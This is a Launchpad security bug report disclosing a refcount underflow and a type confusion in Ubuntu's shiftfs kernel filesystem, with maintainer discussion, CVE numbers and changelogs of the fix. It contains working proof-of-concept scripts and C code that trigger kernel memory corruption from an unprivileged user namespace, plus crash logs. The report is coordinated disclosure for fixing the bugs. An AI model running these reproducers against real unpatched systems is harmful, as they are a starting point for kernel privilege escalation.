refcount underflow and type confusion in shiftfs

Bug #1850867 reported by Jann Horn (corp account) on 2019-11-01
266
This bug affects 1 person
Affects Status Importance Assigned to Milestone
linux (Ubuntu)
Status tracked in Focal
Disco
High
Seth Forshee
Eoan
High
Seth Forshee
Focal
High
Seth Forshee

Bug Description

Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".

Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.

There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().

#################### Bug 1: Flawed reference counting ####################

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):

 src = fdget(oldfd);
 if (!src.file)
  return -EINVAL;
 // src holds one reference (assuming multithreaded execution)

 ret = shiftfs_real_fdget(src.file, lfd);
 // lfd->file is a file* now, but shiftfs_real_fdget didn't take any
 // extra references
 fdput(src);
 // this drops the only reference we were holding on src, and src was
 // the only thing holding a reference to lfd->file. lfd->file may be
 // dangling at this point.
 if (ret)
  return ret;

 *newfd = get_unused_fd_flags(lfd->file->f_flags);
 if (*newfd < 0) {
  // always a no-op
  fdput(*lfd);
  return *newfd;
 }

 fd_install(*newfd, lfd->file);
 // fd_install() consumes a counted reference, but we don't hold any
 // counted references. so at this point, if lfd->file hasn't been freed
 // yet, its refcount is one lower than it ought to be.

 [...]

 // the following code is refcount-neutral, so the refcount stays one too
 // low.
 if (ret)
  shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);

shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
 struct shiftfs_file_info *file_info = file->private_data;
 struct file *realfile = file_info->realfile;

 lowerfd->flags = 0;
 lowerfd->file = realfile;

 /* Did the flags change since open? */
 if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
  return shiftfs_change_flags(lowerfd->file, file->f_flags);

 return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 183.510580] Call Trace:
[ 183.511396] mmap_region+0x417/0x670
[ 183.512592] do_mmap+0x3a8/0x580
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
[ 183.516155] __x64_sys_mmap+0x33/0x40
[ 183.517352] do_syscall_64+0x5a/0x130
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================

Disassembly of surrounding code:

55 push rbp
4889E5 mov rbp,rsp
4157 push r15
4156 push r14
4155 push r13
4154 push r12
488B87C8000000 mov rax,[rdi+0xc8]
4C8B6810 mov r13,[rax+0x10]
498B4528 mov rax,[r13+0x28]
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000 jz near 0xcc
4989FC mov r12,rdi
4989F6 mov r14,rsi

This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.

#################### Bug 2: Type confusion ####################

shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
passes the resulting file* into shiftfs_real_fdget(), which does this:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
 struct shiftfs_file_info *file_info = file->private_data;
 struct file *realfile = file_info->realfile;

 lowerfd->flags = 0;
 lowerfd->file = realfile;

 /* Did the flags change since open? */
 if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
  return shiftfs_change_flags(lowerfd->file, file->f_flags);

 return 0;
}

file->private_data is a void* that points to a filesystem-dependent type; and
some filesystems even use it to store a type-cast number instead of a pointer.
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.

As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
offset 0x10), and I use that to cause a memory dereference somewhere around
0x4242:

=======================================
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  // make our vmacache sequence number something like 0x4242
  for (int i=0; i<0x4242; i++) {
    void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
        MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
    munmap(x, 0x1000);
  }

  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = open("/proc/self/environ", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  // trigger the confusion
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
}
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
[ 348.105060] #PF: supervisor read access in kernel mode
[ 348.106573] #PF: error_code(0x0000) - not-present page
[ 348.108102] PGD 0 P4D 0
[ 348.108871] Oops: 0000 [#1] SMP PTI
[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 348.143545] Call Trace:
[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
[ 348.145562] do_vfs_ioctl+0x407/0x670
[ 348.146620] ? putname+0x4a/0x50
[ 348.147556] ksys_ioctl+0x67/0x90
[ 348.148514] __x64_sys_ioctl+0x1a/0x20
[ 348.149593] do_syscall_64+0x5a/0x130
[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 348.152108] RIP: 0033:0x7f77fa76767b
[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
[ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
[ 348.188617] CR2: 0000000000004289
[ 348.189586] ---[ end trace dad859a1db86d660 ]---
[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Killed
user@ubuntu1910vm:~/shiftfs_confuse$
=======================================

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Oh, by the way, I'm pretty sure that shiftfs_override_object_creds() is also wrong, although I'm not sure in what situation that would actually become exploitable; it uses code like this to override credentials before creating a file in the lower fs:

 (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
 (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));

I think this is supposed to be something along the lines of `make_kuid(lower_ns, from_kuid(sb->s_user_ns, fsuid))`, and it's going to do the wrong thing when the userns of the lower filesystem is not the init_user_ns.

Alex Murray (alexmurray) wrote :

Thanks for the detailed reports as always Jann.

Seth Forshee (sforshee) wrote :

Attached patches for the two bugs in the description, and the id translation issue from comment #1 (plus a couple of other similar translations that looked to have the same problem).

Jann, Christian, the third patch is new to the both of you so appreciate it if you could take a look. I've tested with the test cases for bug 1 & 2 and can no longer reproduce them with these patches. I'm in the process of getting a container running to do some light regression testing, but I'd also like to see the lxd test suite run to check for regressions. Thanks!

I don't see any problems with those patches.

... actually, for patch 2, I wonder whether that works properly if there is a device inside shiftfs. It might not be relevant from a security perspective, I'm not sure, but I think checking for `file->f_op.open == shiftfs_open` might be better.

Seth Arnold (seth-arnold) wrote :

Thanks Jann,

CVE-2019-15791 -- reference count error
CVE-2019-15792 -- type confusion
CVE-2019-15793 -- initns instead of userns

Thanks

Seth Forshee (sforshee) wrote :

Jann: shiftfs_real_fdget() isn't relevant for special inodes. It's only used when entering shitfs via i_fops (or i_dops in the case of ioctl). For special inodes i_fop is set by init_special_inode() and never to shiftfs_file_operations.

Re #10: I don't see how that's relevant here. shiftfs_btrfs_ioctl_fd_replace() does `src = fdget(oldfd)`, meaning that `src.file` contains some random file that may have no association whatsoever with shiftfs, or may be a special inode in a shiftfs. Then it calls shiftfs_real_fdget() on that file, which (with your patch) only checks the magic of the superblock. And the special inodes would still be on shiftfs' superblock, so that check would pass, right?

Seth Forshee (sforshee) wrote :

Oh, hmm. Yes, since we're checking a dentry then it is true the test would pass. I'll take another look then.

Changed in linux (Ubuntu):
status: New → In Progress
Seth Forshee (sforshee) wrote :

I was able to produce an oops by modifying the reproducer for bug #2 to create a fifo in the shiftfs filesystem and pass that in the fd field for the btrfs ioctl. Changing to check f_op.open does make sense to avoid this, though we must check for shiftfs_open and shiftfs_dir_open as allowed ioctls may also be valid for directories. Attaching an updated version of the second patch. With this I cannot reproduce the oops using a fifo.

Nitpick: Ah, I guess you're looking at a different version of shiftfs - the eoan version I'm looking at uses the same ->f_op->open handler for both. If you have to do two separate checks anyway, the standard way would be to just compare the ->f_op pointer instead of the ->f_op->open handler - but that doesn't really matter.

Christian Brauner (cbrauner) wrote :

Tested the kernel with Seth's latest patch and did not manage to reproduce the bugs.

Tyler Hicks (tyhicks) wrote :

Hi Jann - We plan to make these three issues public on 2019-11-12. Thanks again for the report!

Seth Forshee (sforshee) wrote :

Attaching all-in-one script to test patched kernels for bug #1.

Seth Forshee (sforshee) wrote :

And an all-in-one script to test for bug #2.

Tyler Hicks (tyhicks) on 2019-11-08
Changed in linux (Ubuntu Eoan):
status: New → Fix Committed
Changed in linux (Ubuntu Disco):
status: New → In Progress
importance: Undecided → High
Changed in linux (Ubuntu Eoan):
importance: Undecided → High
Changed in linux (Ubuntu Focal):
importance: Undecided → High
Changed in linux (Ubuntu Eoan):
assignee: nobody → Seth Forshee (sforshee)
Changed in linux (Ubuntu Disco):
assignee: nobody → Seth Forshee (sforshee)
Changed in linux (Ubuntu Focal):
assignee: nobody → Seth Forshee (sforshee)
Tyler Hicks (tyhicks) on 2019-11-12
Changed in linux (Ubuntu Disco):
status: In Progress → Fix Committed
Tyler Hicks (tyhicks) on 2019-11-12
information type: Private Security → Public Security

All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running.
The following regressions have been reported in tests triggered by the package:

linux-gcp-5.3/unknown (amd64)

Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1].

https://people.canonical.com/~ubuntu-archive/proposed-migration/bionic/update_excuses.html#linux-gcp-5.3

[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions

Thank you!

tags: added: patch
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This bug was fixed in the package linux - 5.3.0-22.24

---------------
linux (5.3.0-22.24) eoan; urgency=medium

  * [REGRESSION] md/raid0: cannot assemble multi-zone RAID0 with default_layout
    setting (LP: #1849682)
    - Revert "md/raid0: avoid RAID0 data corruption due to layout confusion."

  * refcount underflow and type confusion in shiftfs (LP: #1850867) // CVE-2019-15793
    - SAUCE: shiftfs: Correct id translation for lower fs operations
    - SAUCE: shiftfs: prevent type confusion
    - SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling

  * CVE-2018-12207
    - kvm: x86, powerpc: do not allow clearing largepages debugfs entry
    - SAUCE: KVM: vmx, svm: always run with EFER.NXE=1 when shadow paging is
      active
    - SAUCE: x86: Add ITLB_MULTIHIT bug infrastructure
    - SAUCE: kvm: mmu: ITLB_MULTIHIT mitigation
    - SAUCE: kvm: Add helper function for creating VM worker threads
    - SAUCE: kvm: x86: mmu: Recovery of shattered NX large pages
    - SAUCE: cpu/speculation: Uninline and export CPU mitigations helpers
    - SAUCE: kvm: x86: mmu: Apply global mitigations knob to ITLB_MULTIHIT

  * CVE-2019-11135
    - x86/msr: Add the IA32_TSX_CTRL MSR
    - x86/cpu: Add a helper function x86_read_arch_cap_msr()
    - x86/cpu: Add a "tsx=" cmdline option with TSX disabled by default
    - x86/speculation/taa: Add mitigation for TSX Async Abort
    - x86/speculation/taa: Add sysfs reporting for TSX Async Abort
    - kvm/x86: Export MDS_NO=0 to guests when TSX is enabled
    - x86/tsx: Add "auto" option to the tsx= cmdline parameter
    - x86/speculation/taa: Add documentation for TSX Async Abort
    - x86/tsx: Add config options to set tsx=on|off|auto
    - [Config] Disable TSX by default when possible

  * CVE-2019-0154
    - SAUCE: drm/i915: Lower RM timeout to avoid DSI hard hangs
    - SAUCE: drm/i915/gen8+: Add RC6 CTX corruption WA

  * CVE-2019-0155
    - SAUCE: drm/i915: Rename gen7 cmdparser tables
    - SAUCE: drm/i915: Disable Secure Batches for gen6+
    - SAUCE: drm/i915: Remove Master tables from cmdparser
    - SAUCE: drm/i915: Add support for mandatory cmdparsing
    - SAUCE: drm/i915: Support ro ppgtt mapped cmdparser shadow buffers
    - SAUCE: drm/i915: Allow parsing of unsized batches
    - SAUCE: drm/i915: Add gen9 BCS cmdparsing
    - SAUCE: drm/i915/cmdparser: Use explicit goto for error paths
    - SAUCE: drm/i915/cmdparser: Add support for backward jumps
    - SAUCE: drm/i915/cmdparser: Ignore Length operands during command matching

linux (5.3.0-21.22) eoan; urgency=medium

  * eoan/linux: 5.3.0-21.22 -proposed tracker (LP: #1850486)

  * Fix signing of staging modules in eoan (LP: #1850234)
    - [Packaging] Leave unsigned modules unsigned after adding .gnu_debuglink

linux (5.3.0-20.21) eoan; urgency=medium

  * eoan/linux: 5.3.0-20.21 -proposed tracker (LP: #1849064)

  * eoan: alsa/sof: Enable SOF_HDA link and codec (LP: #1848490)
    - [Config] Enable SOF_HDA link and codec

  * Eoan update: 5.3.7 upstream stable release (LP: #1848750)
    - panic: ensure preemption is disabled during panic()
    - [Config] updateconfigs for USB_RIO500
    - USB: rio500: Remove Rio 500 kernel driver
   ...

Changed in linux (Ubuntu Eoan):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :
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This bug was fixed in the package linux - 5.0.0-35.38

---------------
linux (5.0.0-35.38) disco; urgency=medium

  * [REGRESSION] md/raid0: cannot assemble multi-zone RAID0 with default_layout
    setting (LP: #1849682)
    - SAUCE: Fix revert "md/raid0: avoid RAID0 data corruption due to layout
      confusion."

  * refcount underflow and type confusion in shiftfs (LP: #1850867) // CVE-2019-15793
    - SAUCE: shiftfs: Correct id translation for lower fs operations
    - SAUCE: shiftfs: prevent type confusion
    - SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling

  * CVE-2018-12207
    - kvm: Convert kvm_lock to a mutex
    - kvm: x86: Do not release the page inside mmu_set_spte()
    - KVM: x86: make FNAME(fetch) and __direct_map more similar
    - KVM: x86: remove now unneeded hugepage gfn adjustment
    - KVM: x86: change kvm_mmu_page_get_gfn BUG_ON to WARN_ON
    - KVM: x86: add tracepoints around __direct_map and FNAME(fetch)
    - kvm: x86, powerpc: do not allow clearing largepages debugfs entry
    - SAUCE: KVM: vmx, svm: always run with EFER.NXE=1 when shadow paging is
      active
    - SAUCE: x86: Add ITLB_MULTIHIT bug infrastructure
    - SAUCE: kvm: mmu: ITLB_MULTIHIT mitigation
    - SAUCE: kvm: Add helper function for creating VM worker threads
    - SAUCE: kvm: x86: mmu: Recovery of shattered NX large pages
    - SAUCE: cpu/speculation: Uninline and export CPU mitigations helpers
    - SAUCE: kvm: x86: mmu: Apply global mitigations knob to ITLB_MULTIHIT

  * CVE-2019-11135
    - KVM: x86: use Intel speculation bugs and features as derived in generic x86
      code
    - x86/msr: Add the IA32_TSX_CTRL MSR
    - x86/cpu: Add a helper function x86_read_arch_cap_msr()
    - x86/cpu: Add a "tsx=" cmdline option with TSX disabled by default
    - x86/speculation/taa: Add mitigation for TSX Async Abort
    - x86/speculation/taa: Add sysfs reporting for TSX Async Abort
    - kvm/x86: Export MDS_NO=0 to guests when TSX is enabled
    - x86/tsx: Add "auto" option to the tsx= cmdline parameter
    - x86/speculation/taa: Add documentation for TSX Async Abort
    - x86/tsx: Add config options to set tsx=on|off|auto
    - SAUCE: x86/speculation/taa: Call tsx_init()
    - [Config] Disable TSX by default when possible

  * CVE-2019-0154
    - SAUCE: drm/i915: Lower RM timeout to avoid DSI hard hangs
    - SAUCE: drm/i915/gen8+: Add RC6 CTX corruption WA

  * CVE-2019-0155
    - SAUCE: drm/i915: Rename gen7 cmdparser tables
    - SAUCE: drm/i915: Disable Secure Batches for gen6+
    - SAUCE: drm/i915: Remove Master tables from cmdparser
    - SAUCE: drm/i915: Add support for mandatory cmdparsing
    - SAUCE: drm/i915: Support ro ppgtt mapped cmdparser shadow buffers
    - SAUCE: drm/i915: Allow parsing of unsized batches
    - SAUCE: drm/i915: Add gen9 BCS cmdparsing
    - SAUCE: drm/i915/cmdparser: Use explicit goto for error paths
    - SAUCE: drm/i915/cmdparser: Add support for backward jumps
    - SAUCE: drm/i915/cmdparser: Ignore Length operands during command matching

linux (5.0.0-34.36) disco; urgency=medium

  * disco/linux: <version to be filled> -proposed tracker (LP: #1850574)

  * [REGRESSION] md/raid0: cannot as...

Changed in linux (Ubuntu Disco):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :
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This bug was fixed in the package linux - 5.3.0-24.26

---------------
linux (5.3.0-24.26) eoan; urgency=medium

  * eoan/linux: 5.3.0-24.26 -proposed tracker (LP: #1852232)

  * Eoan update: 5.3.9 upstream stable release (LP: #1851550)
    - io_uring: fix up O_NONBLOCK handling for sockets
    - dm snapshot: introduce account_start_copy() and account_end_copy()
    - dm snapshot: rework COW throttling to fix deadlock
    - Btrfs: fix inode cache block reserve leak on failure to allocate data space
    - btrfs: qgroup: Always free PREALLOC META reserve in
      btrfs_delalloc_release_extents()
    - iio: adc: meson_saradc: Fix memory allocation order
    - iio: fix center temperature of bmc150-accel-core
    - libsubcmd: Make _FORTIFY_SOURCE defines dependent on the feature
    - perf tests: Avoid raising SEGV using an obvious NULL dereference
    - perf map: Fix overlapped map handling
    - perf script brstackinsn: Fix recovery from LBR/binary mismatch
    - perf jevents: Fix period for Intel fixed counters
    - perf tools: Propagate get_cpuid() error
    - perf annotate: Propagate perf_env__arch() error
    - perf annotate: Fix the signedness of failure returns
    - perf annotate: Propagate the symbol__annotate() error return
    - perf annotate: Fix arch specific ->init() failure errors
    - perf annotate: Return appropriate error code for allocation failures
    - perf annotate: Don't return -1 for error when doing BPF disassembly
